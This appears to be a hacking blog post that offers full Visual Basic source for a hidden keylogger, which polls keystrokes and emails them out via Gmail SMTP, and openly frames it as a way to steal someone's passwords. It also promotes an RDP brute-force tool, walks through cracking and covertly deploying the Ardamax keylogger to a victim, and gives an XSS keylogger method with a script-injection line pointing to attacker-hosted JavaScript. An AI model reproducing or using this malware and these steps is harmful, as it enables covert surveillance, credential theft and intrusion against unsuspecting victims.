100% FUD Email sending keylogger in Visual Basic.

          How to make a email sending keylogger in Visual Basic. 100% Fud

You want to steal someone's password but you don't want to spend even a single penny to buy those costly Remote keyloggers present on the net and that's the case with me too.So why not we design our own keylogger.

(A remote keylogger is a piece of software that logs every key pressed on the keyboard and sends it to the hacker sitting on other side.It can be his email,Irc or ICQ address where the key pressed by the victim goes.)

Today let's start with some programing.If you are already a programmer than this article is just for you.I'm going to provide you the source code for visual basic and with tutorial on how to implement it in your project.

1:Open Visual basic and Make a new project named MyKeylogger or anything else you want.

2:Now we need to add all the required items in our Visual basic Form.
Add:Textbox for capturing text.,
3timers :-Timer1 controls how often it will look for keystrokes.

Timer 2 controls how often it will try to mail results
Timer 3 controls how long the forum will be visible (1 millisecond by default)

3: Change the properties of the timer intervals so they can perform accurately.(intervals are in millisecond)
For:
Timer1, 10 (timer1 interval is set to 10 so that it does not record the same keystrokes twice,from being held down to long by the user,but still it suitable for fast typing.)
Timer2, 1500000
Timer3, 1

4: Now lets change the properties of Textbox1,
and Forum1

For Textbox1 we need to change the following
1. Set Read only to True
2. Set Multi line to True
3. Set MaxLength to 2147483647 (Max Value)

For Forum1 we need to change the following:
1. Set Opacity to 0%
2. Set show in taskbar to False

5:Now we need to add the code to our form1 as it is of no use without it.So I'm not going in further details for why and where you should add the code,just follow the below mentioned steps.5.1:Double click on the form1.
5.2:You will see some sorts of coding already present there.Erase it all.
5.3:Now you just have to paste under mentioned code in your form1 code window.

                                                          Code's                                

-------------------------------------------------------------------
Imports System.Net.Mail 'Mail Class

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
Timer2.Start()
Timer3.Start()

End Sub
Public Function GetCapslock() As Boolean
' Return Or Set the Capslock toggle.

GetCapslock = CBool(GetKeyState(&H14) And 1)

End Function

Public Function GetShift() As Boolean

' Return Or Set the Capslock toggle.

GetShift = CBool(GetAsyncKeyState(&H10))

End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i As Integer = 1 To 225
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
If GetCapslock() = True And GetShift() = True Then
Select Case (i)
Case 192
TextBox1.Text = TextBox1.Text + "~"
Case 1
'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48
TextBox1.Text = TextBox1.Text + ")"
Case 49
TextBox1.Text = TextBox1.Text + "!"
Case 50
TextBox1.Text = TextBox1.Text + "@"
Case 51
TextBox1.Text = TextBox1.Text + "#"
Case 52
TextBox1.Text = TextBox1.Text + "$"
Case 53
TextBox1.Text = TextBox1.Text + "%"
Case 54
TextBox1.Text = TextBox1.Text + "^"
Case 55
TextBox1.Text = TextBox1.Text + "&"
Case 56
TextBox1.Text = TextBox1.Text + "*"
Case 57
TextBox1.Text = TextBox1.Text + "("
Case 8
TextBox1.Text = TextBox1.Text + "[BackSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + ">"
Case 16
Case 160 To 165
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 189
TextBox1.Text = TextBox1.Text + "_"
Case 187
TextBox1.Text = TextBox1.Text + "+"
Case 219
TextBox1.Text = TextBox1.Text + "{"
Case 221
TextBox1.Text = TextBox1.Text + "}"
Case 186
TextBox1.Text = TextBox1.Text + ":"
Case 222
TextBox1.Text = TextBox1.Text + """"
Case 188
TextBox1.Text = TextBox1.Text + "<"
Case 191
TextBox1.Text = TextBox1.Text + "?"
Case 220
TextBox1.Text = TextBox1.Text + "|"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 20
Case 91 'windows key
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = True And GetShift() = False Then
Select Case (i)
Case 91 'windows key
Case 1
'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i)
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i)
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48 To 57
TextBox1.Text = TextBox1.Text + Chr(i)
Case 8
TextBox1.Text = TextBox1.Text + "[BackSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + "."
Case 16
Case 160 To 165
Case 20
Case 192
TextBox1.Text = TextBox1.Text + "`"
Case 189
TextBox1.Text = TextBox1.Text + "-"
Case 187
TextBox1.Text = TextBox1.Text + "="

Case 219
TextBox1.Text = TextBox1.Text + "["
Case 221
TextBox1.Text = TextBox1.Text + "]"
Case 186
TextBox1.Text = TextBox1.Text + ";"
Case 222
TextBox1.Text = TextBox1.Text + "'"
Case 188
TextBox1.Text = TextBox1.Text + ","
Case 191
TextBox1.Text = TextBox1.Text + "/"
Case 220
TextBox1.Text = TextBox1.Text + "\"
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = False And GetShift() = True Then
Select Case (i)
Case 91 'windows key
Case 192
TextBox1.Text = TextBox1.Text + "~"
Case 1
' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i)
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i)
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48
TextBox1.Text = TextBox1.Text + ")"
Case 49
TextBox1.Text = TextBox1.Text + "!"
Case 50
TextBox1.Text = TextBox1.Text + "@"
Case 51
TextBox1.Text = TextBox1.Text + "#"
Case 52
TextBox1.Text = TextBox1.Text + "$"
Case 53
TextBox1.Text = TextBox1.Text + "%"
Case 54
TextBox1.Text = TextBox1.Text + "^"
Case 55
TextBox1.Text = TextBox1.Text + "&"
Case 56
TextBox1.Text = TextBox1.Text + "*"
Case 57
TextBox1.Text = TextBox1.Text + "("
Case 8
TextBox1.Text = TextBox1.Text + "[BackSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + ">"
Case 16
Case 160 To 165
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 189
TextBox1.Text = TextBox1.Text + "_"
Case 187
TextBox1.Text = TextBox1.Text + "+"
Case 219
TextBox1.Text = TextBox1.Text + "{"
Case 221
TextBox1.Text = TextBox1.Text + "}"
Case 186
TextBox1.Text = TextBox1.Text + ":"
Case 222
TextBox1.Text = TextBox1.Text + """"
Case 188
TextBox1.Text = TextBox1.Text + "<"
Case 191
TextBox1.Text = TextBox1.Text + "?"
Case 220
TextBox1.Text = TextBox1.Text + "|"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 20
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = False And GetShift() = False Then
Select Case (i)
Case 1
' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48 To 57
TextBox1.Text = TextBox1.Text + Chr(i)
Case 8
TextBox1.Text = TextBox1.Text + "[BackSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + "."
Case 16
Case 160 To 165
Case 20
Case 192
TextBox1.Text = TextBox1.Text + "`"
Case 189
TextBox1.Text = TextBox1.Text + "-"
Case 187
TextBox1.Text = TextBox1.Text + "="
Case 91 'windows key
Case 219
TextBox1.Text = TextBox1.Text + "["
Case 221
TextBox1.Text = TextBox1.Text + "]"
Case 186
TextBox1.Text = TextBox1.Text + ";"
Case 222
TextBox1.Text = TextBox1.Text + "'"
Case 188
TextBox1.Text = TextBox1.Text + ","
Case 191
TextBox1.Text = TextBox1.Text + "/"
Case 220
TextBox1.Text = TextBox1.Text + "\"
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
Case 37 To 40

Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If

End If
Next i
End Sub

Sub MainEvents()
'Fill In all Required info, if your not using gmail use smtp . your email provider ex:
'"smpt.yahoo.com" or "smpt.custom_email.edu"
Try
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("cyberwarriors488.blogspot.com@gmail.com")
MyMailMessage.To.Add("cyberwarriors488.blogspot.com@gmail.com")
MyMailMessage.Subject = "Test"
MyMailMessage.Body = TextBox1.Text
Dim SMPT As New SmtpClient("smtp.gmail.com")
SMPT.Port = 587
SMPT.EnableSsl = True
SMPT.Credentials = New System.Net.NetworkCredential("cyberwarriors488.blogspot.com@gmail.com", "Your_Email_Password")
SMPT.Send(MyMailMessage)
TextBox1.Text = ""
Catch ex As Exception
End Try
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

If TextBox1.Text <> "" Then
MainEvents()
End If
End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Me.Visible = False
Me.Hide()
End Sub

End Class
--------------------------------------------------------------------------

RDP Brute Force Tool

xTSCrack is a tool to assist the peneration tester find weak passwords over RDP protocol (3389). It is basically a RDP brute force tool.

Features:

Test for weak password automatically;
Test for weak/user passwords;
Wordlist option;
Userlist option;
Configurable port;
Range IP Address audit and more.

Adrmax Keylogger Step by Step Tutorial

what is keylogger ?

Keylogger is a hardware device or a software program that records the real time activity of a computer user including the keyboard keys they press. These keyloggers allow not only keyboard keystrokes to be captured but also are often capable of collecting screen captures from the computer. The keys they press are programmed to automatically transmit data over the network to a remote computer or Web server.

1:After installing the program,past the crack file in installation directory


2:After Cracking , open it up. When you’ll open it, you’ll see an icon added into your system tray shown in pic below.

3:Now lets right click on that icon & then click on “Pre-config Installer”. Now  you should have something   as shown in pic below

4:Lets click on next and make sure that u should have the picture as below. 

5:Now next screen would give you “Invisibility” options. This will help you to hide your key logger   from your victim’s computer. 

6:Now next screen says “Security”, just click on NEXT.

7:Now the page that says “Web Update”, lets UNCHECK all off the boxes & click on NEXT.

8: Now you will see “Options” page. 

9:Now here comes the most important page, which will show u the options and will let u select     the way you want to receive the information from your victim’s computer.and click on Next!

10:Select Email and enter you email id & passwd and click on test and you check you email you receive a test mail and click on Ok

11:Send installer file your victim .

XSS Keylogger

XSS Keyloggers is  a simple way to grab informations a user type on a web page.Keylogging is the action of recording the keys struck on a keyboard.A keylogger can be used to spy on someone, grab their passwords, read their conversations or steal their personal informations.

1:Download xss keylogger.

2:Upload these files on any webhosting site.

3:Now open keylogger.js with any text editor & find the line "localhost" & replace it  with you website where you will be hosting your xss keylogger files.

4:injected script into the search field of any xss vulnerable site.To inject script on site use this script
----------------------------------------------------------
<script> src=your's javascript.jr uploaded link</script>
----------------------------------------------------------

5: Now after injecting the script. Let's check weather its working or not !. Just type anything in the search field. Now get back to your xss.php & check the logs. Any entered text on the webpage where we injected the script will be recorded & shown in our logs text file.